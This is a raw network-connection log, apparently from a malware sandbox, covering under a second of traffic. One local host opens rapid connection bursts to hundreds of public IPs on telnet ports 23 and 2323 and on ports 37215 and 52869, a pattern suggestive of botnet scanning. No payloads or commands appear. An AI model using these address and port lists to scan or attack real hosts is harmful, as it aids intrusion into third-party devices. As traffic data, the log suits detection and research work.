Dec 4, 2024 20:34:34.787698984 CET	37215	60275	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:34.787700891 CET	60275	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:34.787703037 CET	37215	60275	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:34.787707090 CET	37215	60275	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:34.787712097 CET	60275	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:34.787714005 CET	60275	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:34.787714005 CET	60275	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:34.787719011 CET	37215	60275	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:34.787733078 CET	37215	60275	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:34.787734985 CET	60275	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:34.787734985 CET	60275	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:34.787738085 CET	37215	60275	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:34.787741899 CET	60275	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:34.787744045 CET	60275	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:34.787750959 CET	37215	60275	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:34.787760973 CET	37215	60275	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:34.787770033 CET	37215	60275	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:34.787774086 CET	37215	60275	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:34.787777901 CET	60275	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:34.787780046 CET	60275	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:34.787780046 CET	60275	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:34.787781954 CET	60275	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:34.787801981 CET	60275	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:34.787802935 CET	60275	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:34.787807941 CET	60275	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:34.819230080 CET	2323	42364	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.820724010 CET	2323	42382	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.820801973 CET	42382	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.821130991 CET	23	39238	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.821340084 CET	23	39256	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.821394920 CET	39256	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.874545097 CET	23	57724	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.875137091 CET	23	57740	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.875200987 CET	57740	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.875242949 CET	60787	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:34.875245094 CET	60787	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:34.875247002 CET	60787	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:34.875245094 CET	60787	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:34.875257969 CET	60787	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:34.875257969 CET	60787	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:34.875277996 CET	60787	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:34.875276089 CET	60787	23	192.168.2.14	212.198.78.108
Dec 4, 2024 20:34:34.875276089 CET	60787	23	192.168.2.14	101.214.157.153
Dec 4, 2024 20:34:34.875279903 CET	60787	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:34.875281096 CET	60787	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:34.875288963 CET	60787	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:34.875308037 CET	60787	23	192.168.2.14	206.5.253.165
Dec 4, 2024 20:34:34.875308037 CET	60787	23	192.168.2.14	188.118.92.232
Dec 4, 2024 20:34:34.875308990 CET	60787	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:34.875309944 CET	60787	23	192.168.2.14	203.178.110.57
Dec 4, 2024 20:34:34.875314951 CET	60787	23	192.168.2.14	101.98.197.130
Dec 4, 2024 20:34:34.875323057 CET	60787	23	192.168.2.14	8.62.214.37
Dec 4, 2024 20:34:34.875325918 CET	60787	23	192.168.2.14	113.21.20.60
Dec 4, 2024 20:34:34.875325918 CET	60787	23	192.168.2.14	20.35.166.125
Dec 4, 2024 20:34:34.875328064 CET	60787	23	192.168.2.14	77.161.191.246
Dec 4, 2024 20:34:34.875327110 CET	60787	23	192.168.2.14	133.251.140.63
Dec 4, 2024 20:34:34.875328064 CET	60787	23	192.168.2.14	36.61.185.252
Dec 4, 2024 20:34:34.875330925 CET	60787	2323	192.168.2.14	45.220.203.186
Dec 4, 2024 20:34:34.875330925 CET	60787	23	192.168.2.14	61.76.128.90
Dec 4, 2024 20:34:34.875327110 CET	60787	23	192.168.2.14	111.156.253.57
Dec 4, 2024 20:34:34.875339031 CET	60787	23	192.168.2.14	193.88.204.188
Dec 4, 2024 20:34:34.875345945 CET	60787	23	192.168.2.14	178.148.155.215
Dec 4, 2024 20:34:34.875355959 CET	60787	23	192.168.2.14	46.76.222.49
Dec 4, 2024 20:34:34.875359058 CET	60787	23	192.168.2.14	94.213.61.163
Dec 4, 2024 20:34:34.875360966 CET	60787	23	192.168.2.14	79.47.220.64
Dec 4, 2024 20:34:34.875361919 CET	60787	2323	192.168.2.14	43.55.219.44
Dec 4, 2024 20:34:34.875375032 CET	60787	23	192.168.2.14	195.169.63.130
Dec 4, 2024 20:34:34.875380039 CET	60787	23	192.168.2.14	135.201.192.241
Dec 4, 2024 20:34:34.875380993 CET	60787	23	192.168.2.14	41.243.115.169
Dec 4, 2024 20:34:34.875391960 CET	60787	23	192.168.2.14	124.132.52.49
Dec 4, 2024 20:34:34.875397921 CET	60787	23	192.168.2.14	94.70.171.23
Dec 4, 2024 20:34:34.875402927 CET	60787	23	192.168.2.14	92.143.130.18
Dec 4, 2024 20:34:34.875412941 CET	60787	2323	192.168.2.14	87.12.57.7
Dec 4, 2024 20:34:34.875413895 CET	60787	23	192.168.2.14	146.44.140.49
Dec 4, 2024 20:34:34.875420094 CET	60787	23	192.168.2.14	210.113.70.183
Dec 4, 2024 20:34:34.875421047 CET	60787	23	192.168.2.14	77.59.97.222
Dec 4, 2024 20:34:34.875421047 CET	60787	23	192.168.2.14	61.27.206.239
Dec 4, 2024 20:34:34.875433922 CET	60787	23	192.168.2.14	78.34.233.174
Dec 4, 2024 20:34:34.875437975 CET	60787	23	192.168.2.14	114.108.9.225
Dec 4, 2024 20:34:34.875437975 CET	60787	23	192.168.2.14	157.10.218.22
Dec 4, 2024 20:34:34.875446081 CET	60787	23	192.168.2.14	72.247.174.81
Dec 4, 2024 20:34:34.875454903 CET	60787	23	192.168.2.14	34.223.154.153
Dec 4, 2024 20:34:34.875464916 CET	60787	23	192.168.2.14	119.217.160.123
Dec 4, 2024 20:34:34.875467062 CET	60787	23	192.168.2.14	183.94.132.48
Dec 4, 2024 20:34:34.875467062 CET	60787	2323	192.168.2.14	70.78.189.22
Dec 4, 2024 20:34:34.875472069 CET	60787	23	192.168.2.14	5.146.33.117
Dec 4, 2024 20:34:34.875475883 CET	60787	23	192.168.2.14	173.229.202.86
Dec 4, 2024 20:34:34.875480890 CET	60787	23	192.168.2.14	65.134.11.57
Dec 4, 2024 20:34:34.875483036 CET	60787	23	192.168.2.14	168.6.122.88
Dec 4, 2024 20:34:34.875484943 CET	23	40824	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.875490904 CET	60787	23	192.168.2.14	9.12.115.235
Dec 4, 2024 20:34:34.875494003 CET	60787	23	192.168.2.14	158.133.35.177
Dec 4, 2024 20:34:34.875494003 CET	60787	23	192.168.2.14	166.99.134.0
Dec 4, 2024 20:34:34.875494003 CET	60787	23	192.168.2.14	122.2.245.4
Dec 4, 2024 20:34:34.875494003 CET	60787	23	192.168.2.14	74.60.28.175
Dec 4, 2024 20:34:34.875514030 CET	60787	23	192.168.2.14	209.132.145.48
Dec 4, 2024 20:34:34.875519991 CET	60787	2323	192.168.2.14	83.241.60.186
Dec 4, 2024 20:34:34.875520945 CET	60787	23	192.168.2.14	152.88.109.6
Dec 4, 2024 20:34:34.875520945 CET	60787	23	192.168.2.14	65.6.116.129
Dec 4, 2024 20:34:34.875519991 CET	60787	23	192.168.2.14	58.193.20.92
Dec 4, 2024 20:34:34.875525951 CET	60787	23	192.168.2.14	116.192.61.4
Dec 4, 2024 20:34:34.875529051 CET	60787	23	192.168.2.14	195.159.36.239
Dec 4, 2024 20:34:34.875545025 CET	60787	23	192.168.2.14	89.171.30.244
Dec 4, 2024 20:34:34.875545979 CET	60787	23	192.168.2.14	198.255.87.5
Dec 4, 2024 20:34:34.875550032 CET	60787	23	192.168.2.14	80.156.42.253
Dec 4, 2024 20:34:34.875560045 CET	60787	23	192.168.2.14	222.94.223.114
Dec 4, 2024 20:34:34.875560999 CET	60787	2323	192.168.2.14	58.245.1.20
Dec 4, 2024 20:34:34.875562906 CET	60787	23	192.168.2.14	222.35.176.147
Dec 4, 2024 20:34:34.875562906 CET	60787	23	192.168.2.14	12.141.40.187
Dec 4, 2024 20:34:34.875562906 CET	60787	23	192.168.2.14	8.158.26.254
Dec 4, 2024 20:34:34.875566959 CET	60787	23	192.168.2.14	167.50.211.131
Dec 4, 2024 20:34:34.875566959 CET	60787	23	192.168.2.14	177.160.251.128
Dec 4, 2024 20:34:34.875574112 CET	60787	23	192.168.2.14	98.20.228.171
Dec 4, 2024 20:34:34.875587940 CET	60787	23	192.168.2.14	125.127.160.140
Dec 4, 2024 20:34:34.875590086 CET	60787	23	192.168.2.14	184.243.180.252
Dec 4, 2024 20:34:34.875590086 CET	60787	23	192.168.2.14	39.228.144.46
Dec 4, 2024 20:34:34.875590086 CET	60787	23	192.168.2.14	208.249.102.36
Dec 4, 2024 20:34:34.875590086 CET	60787	2323	192.168.2.14	120.88.35.60
Dec 4, 2024 20:34:34.875591993 CET	60787	23	192.168.2.14	58.49.249.109
Dec 4, 2024 20:34:34.875592947 CET	60787	23	192.168.2.14	123.187.220.120
Dec 4, 2024 20:34:34.875593901 CET	60787	23	192.168.2.14	142.10.143.220
Dec 4, 2024 20:34:34.875595093 CET	60787	2323	192.168.2.14	139.170.82.96
Dec 4, 2024 20:34:34.875595093 CET	60787	23	192.168.2.14	216.116.98.132
Dec 4, 2024 20:34:34.875597954 CET	60787	23	192.168.2.14	202.140.5.104
Dec 4, 2024 20:34:34.875595093 CET	60787	23	192.168.2.14	73.130.192.238
Dec 4, 2024 20:34:34.875600100 CET	60787	23	192.168.2.14	121.15.240.132
Dec 4, 2024 20:34:34.875600100 CET	60787	23	192.168.2.14	2.119.115.66
Dec 4, 2024 20:34:34.875601053 CET	60787	23	192.168.2.14	32.96.194.129
Dec 4, 2024 20:34:34.875607967 CET	60787	23	192.168.2.14	91.47.108.43
Dec 4, 2024 20:34:34.875614882 CET	60787	23	192.168.2.14	67.203.236.101
Dec 4, 2024 20:34:34.875614882 CET	60787	23	192.168.2.14	72.150.99.186
Dec 4, 2024 20:34:34.875614882 CET	60787	23	192.168.2.14	81.151.128.5
Dec 4, 2024 20:34:34.875617027 CET	60787	23	192.168.2.14	18.12.135.49
Dec 4, 2024 20:34:34.875617027 CET	60787	23	192.168.2.14	18.102.249.27
Dec 4, 2024 20:34:34.875617027 CET	60787	23	192.168.2.14	73.6.4.147
Dec 4, 2024 20:34:34.875617981 CET	60787	23	192.168.2.14	101.163.6.125
Dec 4, 2024 20:34:34.875618935 CET	60787	23	192.168.2.14	217.153.45.5
Dec 4, 2024 20:34:34.875617981 CET	60787	23	192.168.2.14	213.45.74.192
Dec 4, 2024 20:34:34.875617981 CET	60787	23	192.168.2.14	198.210.193.54
Dec 4, 2024 20:34:34.875617981 CET	60787	23	192.168.2.14	153.152.30.79
Dec 4, 2024 20:34:34.875622034 CET	60787	23	192.168.2.14	31.247.107.131
Dec 4, 2024 20:34:34.875627041 CET	60787	2323	192.168.2.14	39.78.29.144
Dec 4, 2024 20:34:34.875627041 CET	60787	23	192.168.2.14	189.66.229.112
Dec 4, 2024 20:34:34.875627995 CET	60787	23	192.168.2.14	43.121.164.130
Dec 4, 2024 20:34:34.875627041 CET	60787	23	192.168.2.14	110.167.187.232
Dec 4, 2024 20:34:34.875627995 CET	60787	2323	192.168.2.14	110.55.73.29
Dec 4, 2024 20:34:34.875636101 CET	60787	23	192.168.2.14	165.113.227.21
Dec 4, 2024 20:34:34.875636101 CET	60787	23	192.168.2.14	39.2.197.162
Dec 4, 2024 20:34:34.875636101 CET	60787	23	192.168.2.14	61.33.30.97
Dec 4, 2024 20:34:34.875636101 CET	60787	23	192.168.2.14	35.70.134.0
Dec 4, 2024 20:34:34.875638962 CET	60787	23	192.168.2.14	23.37.224.114
Dec 4, 2024 20:34:34.875644922 CET	60787	23	192.168.2.14	117.71.57.15
Dec 4, 2024 20:34:34.875646114 CET	60787	23	192.168.2.14	177.18.161.220
Dec 4, 2024 20:34:34.875646114 CET	60787	23	192.168.2.14	108.248.50.193
Dec 4, 2024 20:34:34.875662088 CET	60787	23	192.168.2.14	164.30.152.46
Dec 4, 2024 20:34:34.875662088 CET	60787	23	192.168.2.14	193.8.85.30
Dec 4, 2024 20:34:34.875663042 CET	60787	23	192.168.2.14	81.17.122.59
Dec 4, 2024 20:34:34.875668049 CET	60787	2323	192.168.2.14	201.70.194.168
Dec 4, 2024 20:34:34.875668049 CET	60787	23	192.168.2.14	200.219.49.170
Dec 4, 2024 20:34:34.875674963 CET	60787	23	192.168.2.14	167.118.108.63
Dec 4, 2024 20:34:34.875674963 CET	60787	23	192.168.2.14	156.12.195.203
Dec 4, 2024 20:34:34.875677109 CET	60787	23	192.168.2.14	117.90.98.249
Dec 4, 2024 20:34:34.875677109 CET	60787	23	192.168.2.14	66.200.15.177
Dec 4, 2024 20:34:34.875698090 CET	60787	23	192.168.2.14	87.177.93.251
Dec 4, 2024 20:34:34.875703096 CET	60787	23	192.168.2.14	110.147.120.194
Dec 4, 2024 20:34:34.875705004 CET	60787	23	192.168.2.14	80.205.231.132
Dec 4, 2024 20:34:34.875705957 CET	60787	2323	192.168.2.14	223.51.14.65
Dec 4, 2024 20:34:34.875725985 CET	60787	23	192.168.2.14	222.11.151.75
Dec 4, 2024 20:34:34.875725985 CET	60787	23	192.168.2.14	75.196.215.22
Dec 4, 2024 20:34:34.875725985 CET	60787	23	192.168.2.14	198.242.214.193
Dec 4, 2024 20:34:34.875729084 CET	60787	23	192.168.2.14	156.161.196.128
Dec 4, 2024 20:34:34.875736952 CET	60787	23	192.168.2.14	180.1.170.61
Dec 4, 2024 20:34:34.875741959 CET	60787	23	192.168.2.14	133.140.207.111
Dec 4, 2024 20:34:34.875746965 CET	60787	23	192.168.2.14	45.199.96.173
Dec 4, 2024 20:34:34.875749111 CET	60787	23	192.168.2.14	115.195.45.166
Dec 4, 2024 20:34:34.875756025 CET	60787	23	192.168.2.14	208.250.159.167
Dec 4, 2024 20:34:34.875765085 CET	60787	2323	192.168.2.14	71.144.232.155
Dec 4, 2024 20:34:34.875766993 CET	60787	23	192.168.2.14	198.64.198.79
Dec 4, 2024 20:34:34.875766993 CET	60787	23	192.168.2.14	111.108.244.239
Dec 4, 2024 20:34:34.875776052 CET	60787	23	192.168.2.14	202.189.168.148
Dec 4, 2024 20:34:34.875775099 CET	60787	23	192.168.2.14	18.244.95.69
Dec 4, 2024 20:34:34.875782013 CET	60787	23	192.168.2.14	201.1.191.146
Dec 4, 2024 20:34:34.875788927 CET	23	40840	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.875791073 CET	60787	23	192.168.2.14	189.140.169.105
Dec 4, 2024 20:34:34.875792027 CET	60787	23	192.168.2.14	139.178.72.5
Dec 4, 2024 20:34:34.875798941 CET	60787	23	192.168.2.14	63.48.147.147
Dec 4, 2024 20:34:34.875798941 CET	60787	23	192.168.2.14	74.149.207.239
Dec 4, 2024 20:34:34.875798941 CET	60787	2323	192.168.2.14	166.242.63.68
Dec 4, 2024 20:34:34.875798941 CET	60787	23	192.168.2.14	70.147.161.250
Dec 4, 2024 20:34:34.875807047 CET	60787	23	192.168.2.14	24.62.162.205
Dec 4, 2024 20:34:34.875809908 CET	60787	23	192.168.2.14	161.242.118.86
Dec 4, 2024 20:34:34.875809908 CET	60787	23	192.168.2.14	63.85.178.232
Dec 4, 2024 20:34:34.875812054 CET	60787	23	192.168.2.14	193.19.142.189
Dec 4, 2024 20:34:34.875813007 CET	60787	23	192.168.2.14	39.208.167.25
Dec 4, 2024 20:34:34.875818014 CET	60787	23	192.168.2.14	198.96.20.16
Dec 4, 2024 20:34:34.875829935 CET	60787	23	192.168.2.14	218.64.248.125
Dec 4, 2024 20:34:34.875833988 CET	40840	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.876097918 CET	23	38288	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.876527071 CET	23	38304	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.876566887 CET	38304	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.876656055 CET	2323	40026	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.876732111 CET	40026	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.876993895 CET	2323	48560	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.877187967 CET	40042	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.877532005 CET	2323	48576	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.877579927 CET	48576	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.878073931 CET	23	42806	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.878485918 CET	23	42822	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.878530025 CET	42822	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.934406042 CET	53612	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:34.934408903 CET	32770	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:34.934420109 CET	39610	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:34.934428930 CET	50272	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:34.934433937 CET	36134	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:34.934436083 CET	48824	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:34.941015005 CET	2323	42382	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.941251040 CET	42382	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.941782951 CET	42398	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.995275974 CET	23	60787	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:34.995307922 CET	23	60787	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:34.995322943 CET	2323	60787	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:34.995332956 CET	23	60787	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:34.995352983 CET	23	60787	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:34.995362043 CET	23	60787	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:34.995372057 CET	23	60787	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:34.995390892 CET	60787	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:34.995388985 CET	60787	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:34.995390892 CET	60787	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:34.995394945 CET	60787	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:34.995409012 CET	2323	60787	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:34.995420933 CET	23	60787	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:34.995445013 CET	60787	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:34.995448112 CET	60787	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:34.995448112 CET	60787	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:34.995469093 CET	23	57740	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.995491028 CET	23	60787	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:34.995496035 CET	60787	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:34.995501041 CET	60787	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:34.995501041 CET	23	60787	101.214.157.153	192.168.2.14
Dec 4, 2024 20:34:34.995523930 CET	60787	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:34.995528936 CET	60787	23	192.168.2.14	101.214.157.153
Dec 4, 2024 20:34:34.995553017 CET	57740	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.995580912 CET	23	60787	212.198.78.108	192.168.2.14
Dec 4, 2024 20:34:34.995592117 CET	23	60787	206.5.253.165	192.168.2.14
Dec 4, 2024 20:34:34.995601892 CET	23	60787	170.27.80.233	192.168.2.14
Dec 4, 2024 20:34:34.995618105 CET	60787	23	192.168.2.14	212.198.78.108
Dec 4, 2024 20:34:34.995621920 CET	60787	23	192.168.2.14	206.5.253.165
Dec 4, 2024 20:34:34.995630980 CET	60787	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:34.995857954 CET	23	40840	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.996017933 CET	57754	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.996371031 CET	23	38304	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.996391058 CET	2323	40026	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.996701956 CET	34818	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:34.997369051 CET	2323	48576	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.997371912 CET	56818	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:34.998087883 CET	47312	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:34.998368979 CET	48576	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.998372078 CET	38304	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.998373032 CET	40840	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.998732090 CET	23	42822	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.998895884 CET	42486	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:34.999631882 CET	33028	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:35.000384092 CET	37024	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:35.001054049 CET	42426	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:35.001718044 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:35.002351999 CET	60938	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:35.002372026 CET	42822	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:35.003009081 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:35.003642082 CET	60480	23	192.168.2.14	101.214.157.153
Dec 4, 2024 20:34:35.004287004 CET	50564	23	192.168.2.14	212.198.78.108
Dec 4, 2024 20:34:35.004921913 CET	40394	23	192.168.2.14	206.5.253.165
Dec 4, 2024 20:34:35.005563021 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:35.006046057 CET	40840	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:35.006331921 CET	40882	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:35.006690979 CET	38304	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:35.006969929 CET	38346	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:35.007328033 CET	48576	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:35.007601023 CET	48618	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:35.007953882 CET	42822	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:35.008240938 CET	42864	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:35.057152987 CET	23	39610	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:35.057178020 CET	23	32770	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:35.057187080 CET	23	53612	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.057231903 CET	23	48824	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:35.057240009 CET	53612	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.057241917 CET	23	36134	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.057250977 CET	23	50272	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:35.057251930 CET	39610	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:35.057259083 CET	32770	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:35.057270050 CET	48824	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:35.057275057 CET	36134	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.057286978 CET	50272	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:35.062381983 CET	42834	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:35.062385082 CET	43950	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:35.064397097 CET	2323	42382	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:35.115525961 CET	23	57740	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:35.115890026 CET	23	57754	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:35.115961075 CET	57754	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:35.116636992 CET	23	34818	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.116681099 CET	34818	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.117191076 CET	2323	56818	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.117244959 CET	56818	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.117860079 CET	23	47312	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.117904902 CET	47312	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.118681908 CET	23	42486	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.118730068 CET	42486	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.119299889 CET	23	33028	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:35.119410992 CET	33028	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:35.123574972 CET	23	60480	101.214.157.153	192.168.2.14
Dec 4, 2024 20:34:35.123641014 CET	60480	23	192.168.2.14	101.214.157.153
Dec 4, 2024 20:34:35.125842094 CET	23	40840	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:35.126384020 CET	23	38304	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:35.127010107 CET	2323	48576	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:35.127814054 CET	23	42822	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:35.151272058 CET	60019	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:35.151281118 CET	60019	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:35.151279926 CET	60019	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:35.151282072 CET	60019	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:35.151282072 CET	60019	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:35.151279926 CET	60019	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:35.151279926 CET	60019	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:35.151289940 CET	60019	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:35.151302099 CET	60019	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:35.151307106 CET	60019	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:35.151319027 CET	60019	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:35.151329041 CET	60019	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:35.151330948 CET	60019	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:35.151330948 CET	60019	52869	192.168.2.14	156.102.116.103
Dec 4, 2024 20:34:35.151330948 CET	60019	52869	192.168.2.14	156.177.116.193
Dec 4, 2024 20:34:35.151331902 CET	60019	52869	192.168.2.14	156.227.181.104
Dec 4, 2024 20:34:35.151330948 CET	60019	52869	192.168.2.14	197.139.110.186
Dec 4, 2024 20:34:35.151341915 CET	60019	52869	192.168.2.14	41.80.230.94
Dec 4, 2024 20:34:35.151343107 CET	60019	52869	192.168.2.14	41.177.128.3
Dec 4, 2024 20:34:35.151341915 CET	60019	52869	192.168.2.14	156.4.117.46
Dec 4, 2024 20:34:35.151345968 CET	60019	52869	192.168.2.14	41.241.155.15
Dec 4, 2024 20:34:35.151348114 CET	60019	52869	192.168.2.14	156.7.99.12
Dec 4, 2024 20:34:35.151350975 CET	60019	52869	192.168.2.14	156.47.146.87
Dec 4, 2024 20:34:35.151351929 CET	60019	52869	192.168.2.14	197.216.244.155
